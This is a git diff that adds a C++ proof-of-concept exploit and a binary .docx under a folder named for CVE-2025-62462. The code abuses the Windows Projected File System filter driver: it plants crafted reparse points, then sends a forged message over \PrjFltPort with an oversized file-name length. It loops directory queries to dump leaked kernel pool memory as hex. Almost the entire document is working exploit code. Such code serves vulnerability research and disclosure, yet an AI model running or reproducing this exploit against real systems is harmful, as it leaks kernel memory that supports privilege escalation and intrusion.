diff --git a/CVE-2025-62462/PrjLeak22.docx b/CVE-2025-62462/PrjLeak22.docx new file mode 100644 index 0000000..ac69548 Binary files /dev/null and b/CVE-2025-62462/PrjLeak22.docx differ diff --git a/CVE-2025-62462/PrjLeank22.cpp b/CVE-2025-62462/PrjLeank22.cpp new file mode 100644 index 0000000..63f1706 --- /dev/null +++ b/CVE-2025-62462/PrjLeank22.cpp @@ -0,0 +1,561 @@ + + +#include +#include +#include +#include +#pragma comment(lib, "projectedfslib.lib") +#pragma comment(lib, "FltLib.lib") + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + +PWSTR gProcessPath = NULL; +PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; + +DWORD CompleteCommandHandler(int CommandId); + +struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT +{ + GUID virtualizationInstanceID; + unsigned int Version; + USHORT VolumeLength; + WCHAR szVolume[256]; +}; + + +void PrintInstanceId() { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + OLECHAR* guidString; + StringFromCLSID(InstanceInfo.InstanceID, &guidString); + wprintf(L"InstanceId: %s\n", guidString); + + + LPCOLESTR lpsz = guidString; + GUID InstanceId; + hr = CLSIDFromString(lpsz, &InstanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + CoTaskMemFree(guidString); +} + +void CreateVirtualizationRoot() { + + HRESULT hr; + const wchar_t* rootName = LR"(C:\virtRoot)"; + + RemoveDirectoryW(rootName); + + if (!CreateDirectoryW(rootName, nullptr)) + { + DWORD gle = GetLastError(); + if (gle != ERROR_ALREADY_EXISTS) { + hr = HRESULT_FROM_WIN32(gle); + wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); + } + + return; + } + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + hr = PrjMarkDirectoryAsPlaceholder(rootName, + nullptr, + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + return; + } + +} + +HRESULT MyStartEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyStartEnumCallback\n"); + return S_OK; +} + +HRESULT MyEndEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyEndEnumCallback\n"); + return S_OK; +} + +HRESULT MyGetEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId, + PCWSTR searchExpression, + PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle +) +{ + CompleteCommandHandler(callbackData->CommandId); + return S_OK; +} + +HRESULT MyGetPlaceholderInfoCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + return S_OK; +} + +HRESULT MyGetFileDataCallback( + const PRJ_CALLBACK_DATA* callbackData, + UINT64 byteOffset, + UINT32 length +) +{ + return S_OK; +} + +void StartVirtualizatioInstance() { + PRJ_CALLBACKS callbackTable; + + // Supply required callbacks. + callbackTable.StartDirectoryEnumerationCallback = MyStartEnumCallback; + callbackTable.EndDirectoryEnumerationCallback = MyEndEnumCallback; + callbackTable.GetDirectoryEnumerationCallback = MyGetEnumCallback; + callbackTable.GetPlaceholderInfoCallback = MyGetPlaceholderInfoCallback; + callbackTable.GetFileDataCallback = MyGetFileDataCallback; + + // The rest of the callbacks are optional. + callbackTable.QueryFileNameCallback = nullptr; + callbackTable.NotificationCallback = nullptr; + callbackTable.CancelCommandCallback = nullptr; + + HRESULT hr; + const wchar_t* rootName = LR"(C:\virtRoot)"; + + PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; + hr = PrjStartVirtualizing(rootName, + &callbackTable, + nullptr, + nullptr, + &instanceHandle); + if (FAILED(hr)) + { + wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); + return; + } + + gInstanceHandle = instanceHandle; +} + + +struct _PRJ_MSG_OUT_HEADER +{ + int MessageType; + int Size; + int Status; + char Data[256]; +}; + + +struct _PRJ_REPARSE_DATA +{ + int Version; + int dwFlags; + GUID virtualizationInstanceID; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + unsigned __int16 PlaceHolderRelPathLength; + WCHAR szPlaceHolderRelPathBuffer[1]; + +}; + +struct _PRJ_REPARSE_DATA_BUFFER +{ + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + _PRJ_REPARSE_DATA ReparseData; +}; + + +HRESULT CreateFileWithReparsePoint( + PHANDLE pFileHandle, + LPCWSTR lpcwFileName, + _PRJ_REPARSE_DATA* ReparseData, + USHORT ReparseDataLength, + int Tag, + bool bDir) { + + size_t ReparseDataLength64; // rbp + const WCHAR* ErrorMessage; // rdi + USHORT BufferLength; // bx + ULONG hr; // ebx MAPDST + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST + int LastError; // eax + ULONG Size; // eax + size_t Length; // rax + + *pFileHandle = NULL; + + ReparseDataLength64 = ReparseDataLength; + ErrorMessage = 0i64; + BufferLength = ReparseDataLength + 8; + if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u + || ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_12; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8)); + if (!ReparseDataBuffer) + { + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_12: + Size = 2; + + return hr; + } + ReparseDataBuffer->ReparseTag = Tag; + ReparseDataBuffer->ReparseDataLength = ReparseDataLength64; + memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength64); + + //HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + UNICODE_STRING usFileName = { 0 }; + + RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + ObjectAttributes.Length = 0x30; + ObjectAttributes.ObjectName = &usFileName; + + ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; + ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT; + + if (bDir) { + CreateOptions = CreateOptions | FILE_DIRECTORY_FILE; + } + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + HANDLE FileHandle = NULL; + int Status = NtCreateFile( + &FileHandle, + FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, + &ObjectAttributes, + &IoStatusBlock, + 0i64, + FileAttributes, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN_IF, + CreateOptions, + NULL, + 0); + + if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT + { + hr = 0; + } + else + { + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT"; + } + free(ReparseDataBuffer); + if (hr) + goto LABEL_12; + + *pFileHandle = FileHandle; + + return hr; + +} + +_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) { + USHORT RelPathLength = MAX_PATH; + USHORT Length = RelPathLength + 0x11A; + _PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length); + + ReparseData->Version = 2; + ReparseData->PlaceHolderRelPathLength = RelPathLength; + + if (RelPathLength) { + memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength); + } + + *pLength = Length; + return ReparseData; +} + + +void PrintOutput(char* buf, int Size) { + + //printf("\n"); + for (int i = 0; i < Size; i++) + { + if (i != 0 && i % 8 == 0 && i % 16 != 0) { + printf("-"); + + } + else if (i > 0) + { + printf(" "); + } + + + if (i % 16 == 0 && i != 0) { + printf("\n"); + } + + printf("%02x", (unsigned)(unsigned char)buf[i]); + + } + printf("\n"); +} + +struct _POOL_HEADER +{ + union + { + struct + { + USHORT PreviousSize : 8; //0x0 + USHORT PoolIndex : 8; //0x0 + USHORT BlockSize : 8; //0x2 + USHORT PoolType : 8; //0x2 + }; + ULONG Ulong1; //0x0 + }; + ULONG PoolTag; //0x4 + union + { + struct _EPROCESS* ProcessBilled; //0x8 + struct + { + USHORT AllocatorBackTraceIndex; //0x8 + USHORT PoolTagHash; //0xa + }; + }; +}; + +void PrintPoolHeader(_POOL_HEADER* Header) { + if (Header->PoolTag != 0) { + + char szTag[0x10] = { 0 }; + ULONG size = Header->BlockSize * 0x10; + memcpy(szTag, &Header->PoolTag, 4); + + printf("PoolTag: %s, size: 0x%x\n", szTag, size); + } + +} + +typedef struct _FILE_ID_EXTD_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + ULONG ReparsePointTag; + FILE_ID_128 FileId; + WCHAR FileName[6]; +} FILE_ID_EXTD_DIR_INFORMATION, * PFILE_ID_EXTD_DIR_INFORMATION; + + +void NpQueryDirectory(HANDLE hRoot, FILE_INFORMATION_CLASS FileInfoClass) { + DWORD OutputBufferLength = 0x1000; + PVOID OutputBuffer = malloc(OutputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + UNICODE_STRING FileName = { 0 }; + PCWSTR lpcwName = L"3*"; + RtlInitUnicodeString(&FileName, (PWSTR)lpcwName); + + while (1) { + + memset(OutputBuffer, 'B', OutputBufferLength); + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + NTSTATUS Status = NtQueryDirectoryFile(hRoot, NULL, NULL, NULL, &IoStatusBlock, OutputBuffer, OutputBufferLength, FileInfoClass, true, &FileName, false); + + if (IoStatusBlock.Information == OutputBufferLength) + { + //printf("NpQueryDirectory Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information); + + PFILE_ID_EXTD_DIR_INFORMATION pDirInfo = (PFILE_ID_EXTD_DIR_INFORMATION)((char*)OutputBuffer+4); + + PrintPoolHeader((_POOL_HEADER*)(pDirInfo->FileName)); + PrintOutput((char*)(pDirInfo->FileName), 0x100); + //PrintOutput((char*)OutputBuffer, 0x100); + printf("\nPress enter key to continue . . .\n"); + getchar(); + } + } +} + +struct _PRJ_MSG_IN_HEADER +{ + int MessageType; + int InputBufferSize; +}; + +struct _PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA +{ + ULONG DataSize; + int _4; + GUID virtualizationInstanceID; + int Tag; + char _1c[60]; + ULONG CommandId; + int RetStatus; + ULONG ResultLength; + char ResultBuffer[sizeof(FILE_ID_EXTD_DIR_INFORMATION)]; +}; + +struct _PRJ_MSG_COMLETE_COMMAND_HANDLER +{ + _PRJ_MSG_IN_HEADER Header; + _PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA Data; +}; + +DWORD WINAPI CompleteCommandHandler(int CommandId) { + + static HANDLE hPort = NULL; + static GUID InstanceId; + + if (hPort == NULL) { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + InstanceId = InstanceInfo.InstanceID; + + + //PrjStopVirtualizing(gInstanceHandle); + + _PRJ_CONNECTION_CONTEXT Context; + Context.VolumeLength = 0x100; + Context.Version = 1; + Context.virtualizationInstanceID = InstanceId; + wcscpy_s(Context.szVolume, L"c:\\"); + ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); + + HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); + //HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort); + + printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); + + } + + static DWORD InputBufferLength = 0x1000; + static PVOID InputBuffer = malloc(InputBufferLength); + + static DWORD OutputBufferLength = 0x1000; + static PVOID OutputBuffer = malloc(OutputBufferLength); + + memset(InputBuffer, 0, InputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + DWORD BytesReturned = 0; + + _PRJ_MSG_COMLETE_COMMAND_HANDLER Message = { 0 }; + + memset(&Message, 'A', sizeof(Message)); + + Message.Header.MessageType = 5; + Message.Header.InputBufferSize = sizeof(Message); + Message.Data.DataSize = sizeof(_PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA); + + Message.Data.Tag = 0x9000001C; + Message.Data.virtualizationInstanceID = InstanceId; + Message.Data.CommandId = CommandId; + Message.Data.RetStatus = 0; + Message.Data.ResultLength = sizeof(FILE_ID_EXTD_DIR_INFORMATION) + 0x100 + 0xc; + + + + PFILE_ID_EXTD_DIR_INFORMATION FileInfo1 = (PFILE_ID_EXTD_DIR_INFORMATION)Message.Data.ResultBuffer; + FileInfo1->NextEntryOffset = 0; + FileInfo1->FileNameLength = 0x1000c; + FileInfo1->FileName[0] = L'.'; + + + memcpy(InputBuffer, &Message, sizeof(Message)); + InputBufferLength = Message.Header.InputBufferSize; + + HRESULT hr = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); + + + //printf("FilterSendMessage hResult:%x\n", hr); + + return 0; +} + +void PrjCompleteCommandHandler() +{ + CreateVirtualizationRoot(); + StartVirtualizatioInstance(); + PrintInstanceId(); + + //CloseFltPortHandle(); + + + USHORT Length = 0; + HANDLE DirFileHandle = NULL; + HANDLE FileHandle = NULL; + _PRJ_REPARSE_DATA* ReparseData = NULL; + ReparseData = CreateReparseData(L"dd", 0x10, &Length); + HRESULT hr = CreateFileWithReparsePoint(&DirFileHandle, L"\\??\\c:\\virtroot\\dd", ReparseData, Length, 0x9000001C, true); + CloseHandle(DirFileHandle); + + + ReparseData = CreateReparseData(L"dd\\3", 0x10, &Length); + hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\3", ReparseData, Length, 0x9000001C, false); + CloseHandle(FileHandle); + + ReparseData = CreateReparseData(L"dd\\4", 0x10, &Length); + hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\4", ReparseData, Length, 0x9000001C, true); + CloseHandle(FileHandle); + + FILE_INFORMATION_CLASS FileInfoClass = FileDirectoryInformation; + FileHandle = CreateFileW(L"c:\\virtroot\\dd", FILE_READ_DATA, 3u, 0i64, 3u, 0x2200000u, 0i64); + //PatchLib(); + + NpQueryDirectory(FileHandle, FileInfoClass); + + + CloseHandle(FileHandle); + + getchar(); +} + + +int wmain(int argc, WCHAR* argv[]) +{ + PrjCompleteCommandHandler(); + //CompleteCommandHandler(0); + return 0; +} \ No newline at end of file